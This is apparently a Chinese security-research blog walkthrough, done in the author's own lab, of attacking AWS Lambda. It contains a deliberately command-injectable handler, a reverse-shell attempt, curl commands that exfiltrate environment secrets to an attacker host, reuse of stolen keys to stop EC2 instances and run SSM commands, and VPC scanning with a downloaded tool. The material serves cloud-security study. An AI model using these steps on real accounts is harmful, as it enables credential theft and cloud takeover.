ServerLess Aws Lambda攻擊與橫向方法研究
前言
1、這篇文章講了什么?
文本圍繞三個問題
- lambda會遇到什么攻擊場景
- 什么情況下,在lambda中讀取到的env環境變量密鑰可以讓我們接管服務器甚至整個賬號
- 什么情況下,可以通過lambda權限去橫向到其他的EC2服務器
本文會對這三個問題進行解答,并且進行演示
2、什么是ServerLess和Lambda
Serverless,即無服務器計算。然而Serverless不是不再需要服務器,而是公司或開發者不用過多考慮服務器的問題,計算資源僅作為一種服務而不再以物理硬件的形式出現。

為什么使用ServerLess
Serverless免除公司和開發者對服務器維護的麻煩,因此也不用考慮DevOps了。公司和開發者只需關注應用的開發和運維即可,因此Serverless可以在更大程度上節約運維的成本。
Serverless的優勢
- 可用性冗余,以便單個機器故障不會導致服務中斷
- 冗余副本的地理分布,以便在發生災難時保留服務
- 負載平衡和請求路由以有效利用資源
- 響應負載變化進行自動縮放以擴展或縮小系統
- 監控以確保服務仍然運行良好
- 記錄以記錄調試或性能調整所需的消息
- 系統升級,包括安全修補
- 遷移到新實例時可用
選自阿里云
https://www.alibabacloud.com/zh/knowledge/what-is-serverless
一、場景搭建與實踐
https://us-east-1.console.aws.amazon.com/lambda/home?region=us-east-1#/create/function
1、創建一個lambda函數

這里都是用默認的設置

并且我們對執行的角色也是用默認的選項

在高級設置中,我們也保持默認
2、為lambda函數添加觸發器
在編寫函數代碼之前,我們需要添加觸發器

為了演示方便,我們不去考慮這個函數在業務中的具體作用,只需在意這個函數在什么時候觸發即可
首先我們創建一個S3 存儲

并且我們在剛剛創建的函數添加觸發器,并且選擇這個存儲桶,觸發的事件類型也選擇所有對象創建事件


在我們開始編寫函數前,我們需要知道,在S3上傳對象時,所獲取到的內容是什么樣子的
上傳一個文件,觸發一下日志

隨后在cloud watch中就可以看到上傳的日志

這里可以看到object中的key是上傳的文件名,那假設函數獲取的文件名并且當成命令執行,那么在上傳文件時如果未對文件進行重命名就會造成問題,或者更加直接一些,我們直接獲取文件的內容,將內容當做命令執行,或者寫一個flask或者django的服務來接收參數然后執行命令
這里看上去會比較雞肋,因為畢竟太刻意了,黑盒模式下也不太好遇上,這里的舉例只做研究使用
我們將這里的Json數據取出來,然后丟到lambda測試,這樣更加方便


這里我們主要關注這個event,對event的數據進行處理
import json def lambda_handler(event, context): for i in event['Records']: getObjectName = i['s3']['object']['key'] print(getObjectName)
這樣可以單獨把文件名取出來

開始對這個文件名進行處理,直接使用Split函數對文件名進行.號分割,取下標值即可取到文件名
import jsonimport os
def lambda_handler(event, context): for i in event['Records']: getObjectName = i['s3']['object']['key'] getSplitObjectName = getObjectName.split('.') os.system(getSplitObjectName[0])
為了方便測試 手動把測試數據的KEY改為whoami.jpeg

點擊Test函數,查看返回結果

3、執行命令
反彈shell
那么此時嘗試反彈Shell,看看是否能彈回來
exec /bin/sh 01234 1>&0 2>&0
代碼需要改成下面這樣
import jsonimport os
def lambda_handler(event, context): for i in event['Records']: getObjectName = i['s3']['object']['key'] getSplitObjectName = getObjectName.rsplit('.', 1) print((getSplitObjectName))
為什么要用rsplit而不用split呢?因為只需要取最后一個.點開始分割,如果使用split,會把IP地址也進行分割
import jsonimport os
def lambda_handler(event, context): try: for i in event['Records']: getObjectName = i['s3']['object']['key'] getSplitObjectName = getObjectName.rsplit('.', 1) os.system(getSplitObjectName[0]) except Except as e: print(e)
將這個代碼更新到lambda函數中,隨后運行Test

NC監聽發現,這里會顯示有連接過來,但是會超時,導致連不上,我一開始以為是國內服務器的問題,換了一臺香港服務器也還是如此
既然反彈Shell失敗的話,我們先暫且不去研究到底是為什么導致無法連接,那么能不能讀env信息呢?答案是可以的
讀取env信息
用DNSLOG外帶平臺,或者NC監聽都行
https://app.interactsh.com/#/
這里使用服務器來NC監聽,然后使用curl來進行請求
curl -X POST -d \"`env`\" vps:80.jpeg

從圖片中可以看到,將env信息帶了出來,那么此時有AWS_ACCESS_KEY_ID和AWS_SECRET_ACCESS_KEY,可以進行利用嗎?
首先我們看一這個Key能做一些什么?
黑盒盲猜Key的權限
這里肯定會遇到一個問題,將ID和KEY配置到aws cli中會出現下面的情況

An error occurred (AuthFailure) when calling the DescribeInstances operation: AWS was not able to validate the provided access credential
這里提示我們,AWS無法驗證所提供的的憑證,那么是寫錯了嗎?其實還需要提供上面的token,如何添加?
vim ~/.aws/credentials
加上aws_session_token = xxxx

在執行列EC2的命令,就會提示沒有權限
aws ec2 describe-instances
但是這里有這么多的API,怎么知道這個KEY有什么權限呢?這就需要切換到白盒的方式,因為創建lambda函數的時候,所有的配置都是用的默認的,這個時候,只需要確定默認配置創建的IAM給的權限是多少即可
來到IAM,查看這個系統創建的角色有哪些權限

點擊策略名稱

進去之后可以發現,只有三個權限
1、CreateLogGroup-創建日志組
https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_CreateLogGroup.html
2、CreateLogStream-創建日志流
https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_CreateLogStream.html
3、PutLogEvents-將日志事件上傳到指定的日志流
https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_PutLogEvents.html


二、提出問題
那么至此,我們需要考慮兩個問題
1、在什么情況下,這里的IAM密鑰,能讓我們控制EC2服務器,甚至接管整個賬號?
2、在lambda函數中,就算是打穿了,那也是在云廠商提供的環境中,與企業的服務器還是有隔離的,那么什么情況下,會影響到企業的服務器?,也就是我們如何橫向去攻擊其他的服務器?
三、什么情況下,讀取到的env密鑰可以讓我們接管服務器甚至整個賬號?
從這里的IAM來看,env里面的密鑰權限肯定來自于我們創建lambda函數時,讓我們選擇是自動新建角色,還是使用現有角色這里

這里選擇使用現有的角色,然后去IAM創建一個

這里選擇Lambda,因為是給Lambda這個服務使用的

這里可以看到這一條策略
Provides full access to Amazon EC2 via the AWS Management Console.
也就代表著可以通過控制臺訪問所有的EC2服務

創建完成后,分配給Lambda
Tips
這里的可信實體一定要是AWS服務:lambda,不然在lambda函數中是選不到這個角色的

隨后回到lambda,點擊一下刷新,就可以看到新建的角色了

創建函數,再嘗試把env信息讀出來

雖然這個函數執行失敗了,但是收到了請求,無傷大雅,現在嘗試對這里的AK/KEY進行利用
在此之前,使用尊貴的AWS12月免費賬戶啟動一個EC2

vim ~/.aws/credentials

寫入剛剛獲取到的AK/ID還有token
列出賬號下的EC2
aws ec2 describe-instances

這里返回為空,可能有人會認為是不是執行失敗了,其實是成功了,證明我們獲取到的AK/ID是有EC2權限的,因為如果執行失敗的話會返回AccessDenid,那么我們剛剛啟動了一個EC2,但是這里不顯示是為什么呢?這就是AWS地區的問題了,使用下面的命令,換一個地區嘗試一下
aws configure

這里的地區目前是顯示在首爾,但是我們的服務器是在弗吉尼亞北部us-east-1,切換一下地區即可

再執行列出EC2的命令,就可以了
aws ec2 describe-instances

現在已經是有權限的,那么能否在EC2中執行命令呢?
這里的命令,我就照搬TeamsSix的文章了: https://zone.huoxian.cn/d/1022-aws-ec2
1、列出目標實例的ID
aws ec2 describe-instances --filters "Name=instance-type,Values=t2.micro" --query "Reservations[].Instances[].InstanceId"

2、在指定的EC2上執行命令
aws ssm send-command \ --instance-ids "i-03f69896b608efa53" \ --document-name "AWS-RunShellScript" \ --parameters commands=ifconfig \ --output text

但是此時會提示我們并沒有權限執行命令,會IAM看一下

我們這里使用的是SSM,所以需要附加SSM的權限,也就是Aws Systems Manager
https://docs.aws.amazon.com/zh_cn/systems-manager/latest/userguide/what-is-systems-manager.html
但是已經不重要了,我們可以現在對EC2進行增加,停止,刪除了,用下面的命令可以停止指定的EC2
aws ec2 stop-instances --instance-ids 這里寫EC2的ID

此時可以看到我們的EC2已經被停止了

那么就是想執行命令,能執行嗎?答案是可以的,只需要在角色中添加SSM即可

將這個權限附加到UzJuFullEC2的角色中,然后需要重新獲取Token,因為這里改了之后,在env中的AK和KEY就變了

然后我們再執行命令會發現提示無效,原因是因為服務器的agent未在線
systemctl status amazon-ssm-agen

這個時候就需要去EC2中添加IAM
右鍵EC2選擇安全-修改IAM



然后再執行命令
aws ssm send-command \ --instance-ids "i-05d0f910ec24e2c22" \ --document-name "AWS-RunShellScript" \ --parameters commands=ifconfig \ --output text
獲取輸出
aws ssm list-command-invocations \ --command-id 9acde1bb-f93f-40b0-a038-94dc74b4c390 \ --details

四、什么情況下,可以通過獲取lambda權限橫向到其他服務器?
這里就要說到,在創建Lambda函數的時候,有一個高級選項,可以分配VPC

創建成功后,現在lambda函數就與EC2服務器在同一個VPC中


隨后首先使用證書登錄到服務器

驗證一下現在lambda函數是否能訪問到這個EC2,只需要在這個EC2中開啟一個HTTP服務即可
PS
這里有個比較小丑的事情。。。

我在EC2中開啟監聽,然后lambda 訪問EC2的內網地址,按道理來說應該是能訪問到的,可以把VPC理解為局域網,但是就是訪問不到,然后lambda函數執行超時,氣急敗壞上了fscan

后來才發現,是因為EC2的安全組只放了22。。所以才訪問不到的,現在改成全開的情況

放通安全組之后,lambda可以成功訪問到我的EC2了

這里插一個小插曲,在上面我們沒解決公網沒辦法反彈shell的問題,那么內網可以嗎?嘗試了一下,還是不可以

跟公網一個情況,會自動斷開,那么回到正題

把lambda函數的VPC取消,那么還能訪問嗎?

可以看到,如果將VPC取消之后,lambda函數就沒有辦法訪問EC2
現在再考慮一個問題,能不能反向查找,現在的情況是,我們控制了EC2,可以用fscan等掃描工具來判斷內網存在哪些機器,那么能不能反過來,在lambda函數上裝一個kscan來判斷VPC中有多少個EC2
curl -O http://172.31.92.92/kscan_linux_amd64
這里不能直接存,因為是只讀的
這里的圖片是fscan,因為邊做邊寫的時候圖片沒換,就懶得重新弄了
為什么不用fscan,因為沒有root權限,icmp沒權限

但是可以存在tmp目錄下,用curl -小寫的o
curl -o /tmp/kscan http://172.31.92.92/kscan_linux_amd64


下載成功,給一下權限
chmod 777 /tmp/kscan.jpeg
這里直接運行是不行的,需要給權限

chmod 777 /tmp/kscan
然后再次運行
/tmp/kscan --spy 172.31.0.0/16 --scan -t 200 > /tmp/ok.txt.jpeg
這里執行的時候有個小Tips

這里會一直轉圈圈,因為這里有個超時限制,正常是3秒,如果設置是默認3秒的話,這里就會執行失敗,因為等待太久了,在掃描,所以需要配置一下超時時間,我這里配置成了10分鐘


現在可以看到里面有數據了,cat看一下內容
cat /tmp/ok.txt

可以看到這里所探測到的就是我們創建的EC2

然后可以利用CURL帶出來
curl -X POST -d \"`cat /tmp/ok2.txt`\" 172.31.92.92:800.jpeg

五、總結
1、lambda的攻擊方式
與常見的漏洞利用方式類似,對外部輸入并不可控造成的
2、什么情況下獲取的env密鑰可以接管服務器或者賬號?
lambda必須擁有自定義的IAM角色
- AmazonEC2FullAccess
3、什么情況下獲取到的env密鑰可以執行命令?
lambda的IAM角色必須擁有
- AmazonSSMFullAccess
- AmazonEC2RoleforSSM
4、什么情況下可以通過lambda去橫向到其他服務器?
lambda必須綁定VPC
- 即在同一個VPC內網中即可掃描探測到存活的服務器內網地址
5、云安全靶場-TerraformGoat
https://github.com/HuoCorp/TerraformGoat
